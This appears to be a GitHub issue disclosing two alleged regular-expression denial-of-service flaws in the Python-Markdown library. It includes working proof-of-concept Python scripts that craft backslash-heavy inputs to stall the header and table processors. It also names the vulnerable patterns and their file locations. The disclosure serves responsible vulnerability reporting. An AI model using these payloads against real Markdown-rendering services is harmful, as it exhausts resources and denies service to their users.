-
Notifications
You must be signed in to change notification settings - Fork 881
Open
Labels
needs-confirmationThe alleged behavior needs to be confirmed.The alleged behavior needs to be confirmed.
Description
Affected Code
https://github.com/Python-Markdown/markdown (pypi: https://pypi.org/project/Markdown/)
Issue
The vulnerabilities identified in the provided code snippet is a type of Regular Expression Denial of Service (ReDoS) attack. This issue arises when a piece of code utilizes regular expressions (regex) in a way that can be exploited to cause a significantly long processing time.
Impact
Resource exhaustion, leading to denial of service
Tested Version
3.8.2 (latest)
Credit
Sajeeb Lohani (Bugcrowd Security Innovation Lab)
Proof of Concept
There are actually two vulnerabilities here, so I believe there should be two CVEs.
# redos_utils.py
import time
def timer(func):
def wrapper(*args, **kwargs):
start_time = time.time()
result = func(*args, **kwargs)
end_time = time.time()
elapsed_time = end_time - start_time
print(f"Function '{func.__name__}' executed in {elapsed_time:.4f}s")
return result
return wrapper
def sizer(func):
def wrapper(*args, **kwargs):
result = func(*args, **kwargs)
print(f"Payload length: {args[0]}\nPayload size: {len(result.encode()) / (1024 ** 2)} MB")
return result
return wrapper
# exploit_hash_header.py
from redos_utils import sizer, timer
import markdown
@sizer
def create_payload(char_length: int):
# Create a payload that will trigger the ReDOS in HashHeaderProcessor
# Pattern: (?:^|\n)(?P<level>#{1,6})(?P<header>(?:\\.|[^\\])*?)#*(?:\n|$)
# The vulnerable part is (?:\\.|[^\\])*? - many backslashes followed by a non-matching character
return "#" + "\\" * char_length + "X"
@timer
def redos_poc_runner(char_length: int):
payload = create_payload(char_length)
md = markdown.Markdown()
md.convert(payload)
if __name__ == '__main__':
print("Testing HashHeaderProcessor ReDOS vulnerability...")
print("Pattern: (?:^|\\n)(?P<level>#{1,6})(?P<header>(?:\\\\.|[^\\\\])*?)#*(?:\\n|$)")
print("Location: markdown/blockprocessors.py:461")
print()
redos_poc_runner(100)
redos_poc_runner(1000)
redos_poc_runner(2000)
redos_poc_runner(5000)
redos_poc_runner(10000)
redos_poc_runner(20000)
redos_poc_runner(30000)
redos_poc_runner(50000)
print()
print("Final demonstration with 75000 characters (>2s delay):")
redos_poc_runner(75000)
# exploit_table.py
from redos_utils import sizer, timer
import markdown
@sizer
def create_payload(char_length: int):
# Create a payload that will trigger the ReDOS in TableProcessor
# Pattern: (?<!\\)(?:\\)*\|$
# The vulnerable part is (?:\\)* - many escaped backslashes
return "\\" * char_length + "|"
@timer
def redos_poc_runner(char_length: int):
payload = create_payload(char_length)
md = markdown.Markdown(extensions=['tables'])
md.convert(payload)
if __name__ == '__main__':
print("Testing TableProcessor ReDOS vulnerability...")
print("Pattern: (?<!\\\\)(?:\\\\)*\\|$")
print("Location: markdown/extensions/tables.py:42")
print()
redos_poc_runner(100)
redos_poc_runner(1000)
redos_poc_runner(2000)
redos_poc_runner(5000)
redos_poc_runner(10000)
redos_poc_runner(20000)
redos_poc_runner(30000)
print()
print("Final demonstration with 35000 characters (>2s delay):")
redos_poc_runner(35000)
Metadata
Metadata
Assignees
Labels
needs-confirmationThe alleged behavior needs to be confirmed.The alleged behavior needs to be confirmed.